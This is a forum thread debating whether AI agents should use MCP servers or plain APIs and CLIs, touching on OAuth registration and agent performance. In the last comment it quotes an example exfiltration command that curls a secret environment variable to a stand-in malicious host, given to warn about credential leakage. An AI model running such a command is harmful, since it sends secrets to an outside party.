[tymscar]

So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing.

Makes you wonder whats the point of MCP

[_pdp_]

The point of the MCP is for the upstream provider to provider agent specific tools and to handle authentication and session management.

Consider the Google Meet API. To get an actual transcript from Google Meet you need to perform 3-4 other calls before the actual transcript is retrieved. That is not only inefficient but also the agent will likely get it wrong at least once. If you have a dedicated MCP then Google in theory will provide a single transcript retrieval tool which simplifies the process.

The authentication story should not be underestimated either. For better or worse, MCP allows you to dynamically register oauth client through a self registration process. This means that you don't need to register your own client with every single provider. This simplifies oauth significantly. Not everyone supports it because in my opinion it is a security problem but many do.

[tymscar]

Or you could just have a cli that does that, no MCP needed

[miroljub]

Exactly. You shouldn't use MCPs unless there is some statefulness / state / session they need to maintain between calls.

In all other cases, CLI or API calls are superior.

[Eldodi]

There are very few stateful MCP Servers out there, and the standard is moving towards stateless by default.

What is really making MCP stand out is:

- oauth integration

- generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI.

[miroljub]

> What is really making MCP stand out is:

> - oauth integration

I don't see a reason a cli can't provide oauth integration flow. Every single language has an oauth client.

> - generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI.

This is actually a valid point. I solved it by using a sane agent harness that doesn't have artificial restrictions, but I understand that some people have limited choices there and that MCP provides some benefits there.

Same story as SOAP, even a bad standard is better than no standard at all and every vendor rolling out their own half-baked solution.

[zachrip]

Oauth with mcp is more than just traditional oauth. It allows dynamic client registration among other things, so any mcp client can connect to any mcp server without the developers on either side having to issue client ids, secrets, etc. Obviously a cli could use DCR as well, but afaik nobody really does that, and again, your cli doesn't run in claude or chatgpt.

[brookst]

Stateful at the application layer, not the transport layer. There are tons of stateful apps that run on UDP. You can build state on top of stateless comms.

[jnstrdm05]

The guy who created fastmcp, he mentioned that you should use mcp to design how an llm should interact with the API, and give it tools that are geared towards solving problems, not just to interact with the API. Very interesting talk on the topic on YouTube. I still think it's a bloated solution.

[paulddraper]

MCP is just JSON-RPC plus dynamic OAuth plus some lifecycle things.

It’s a convention.

That everyone follows.

[throwup238]

> Makes you wonder whats the point of MCP

I only use them for stuff that needs to run in-process, like a QT MCP that gives agents access to the element hierarchy for debugging and interacting with the GUI (like giving it access to Chrome inspector but for QT).

[ianm218]

This was my initial understanding but if you want ai agents to do complex multi step workflows I.e. making data pipelines they just do so much better with MCP.

After I got the MCP working my case the performance difference was dramatic

[athrowaway3z]

Yeah this is just straight up nonsense.

Its ability to shuffle around data and use bash and do so in interesting ways far outstrips its ability to deal with MCPs.

Also remember to properly name your cli tools and add a `use <mytool> --help for doing x` in your AGENTS.md, but that is all you need.

Maybe you're stuck on some bloated frontend harness?

[ianm218]

> Yeah this is just straight up nonsense.

I was just sharing my experience I'm not sure what you mean. Just n=1 data point.

From first principles I 100% agree and yes I was using a CLI tool I made with typer that has super clear --help + had documentation that was supposed to guide multi step workflows. I just got much better performance when I tried MCP. I asked Claude Code to explain the diff:

> why does our MCP onbaroding get better performance than the using objapi in order to make these pipelines? Like I can see the performance is better but it doesn't intuitively make sense to me why an mcp does better than an API for the "create a pipeline" workflow

It's not MCP-the-protocol vs API-the-protocol. They hit the same backend. The difference is who the interface was designed for.

  The CLI is a human interface that Claude happens to use. Every objapi pb call means:
  - Spawning a new Python process (imports, config load, HTTP setup)
  - Constructing a shell command string (escaping SQL in shell args is brutal)
  - Parsing Rich-formatted table output back into structured data
  - Running 5-10 separate commands to piece together the current state (conn list, sync list, schema classes, etc.)

  The MCP server is an LLM interface by design. The wins are specific:

  1. onboard://workspace-state resource — one call gives Claude the full picture: connections, syncs, object classes, relations, what exists, what's missing. With the CLI, Claude
  runs a half-dozen commands and mentally joins the output.
  2. Bundled operations — explore_connection returns tables AND their columns, PKs, FKs in one response. The CLI equivalent is conn tables → pick table → conn preview for each. Fewer
   round-trips = fewer places for the LLM to lose the thread.
  3. Structured in, structured out — MCP tools take JSON params, return JSON. No shell escaping, no parsing human-formatted tables. When Claude needs to pass a SQL string with quotes
   and newlines through objapi pb node add sql --sql "...", things break in creative ways.
  4. Tool descriptions as documentation — the MCP tool descriptions are written to teach an LLM the workflow. The CLI --help is written for humans who already know the concepts.
  5. Persistent connection — the MCP server keeps one ObjectsClient alive across all calls. The CLI boots a new Python process per command.

  So the answer is: same API underneath, but the MCP server eliminates the shell-string-parsing impedance mismatch and gives Claude the right abstractions (fewer, chunkier operations
   with full context) instead of making it pretend to be a human at a terminal.

For context I was working on a visual data pipeline builder and was giving it the same API that is used in the frontend - it was doing very poorly with the API.

[eli]

I have never had a problem using cli tools intead of mcp. If you add a little list of the available tools to the context it's nearly the same thing, though with added benefits of e.g. being able to chain multiple together in one tool call

[ianm218]

Not doubting you just sharing my experience - was able to get dramatically better experience for multi step workflows that involve feedback from SQL compilers with MCP. Probably the right harness to get the same performance with the right tools around the API calls but was easier to stop fighting it for me

[vidarh]

Did you test actually having command line tools that give you the same interface as the MCP's? Because that is what generally what people are recommending as the alternative. Not letting the agent grapple with <random tool> that is returning poorly structured data.

If you option is to have a "compileSQL" MCP tool, and a "compileSQL" CLI tool, that that both return the same data as JSON, the agent will know how to e.g. chain jq, head, grep to extract a subset from the latter in one step, but will need multiple steps with the MCP tool.

The effect compounds. E.g. let's say you have a "generateQuery" tool vs CLI. In the CLI case, you might get it piping the output from one through assorted operations and then straight into the other. I'm sure the agents will eventually support creating pipelines of MCP tools as well, but you can get those benefits today if you have the agents write CLI's instead of bothering with MCP servers.

I've for that matter had to replace MCP servers with scripts that Claude one-shot because the MCP servers lacked functionality... It's much more flexible.

[crazylogger]

Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs.

MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.

[tymscar]

No? You can just have env vars

[crazylogger]

Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use?

Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/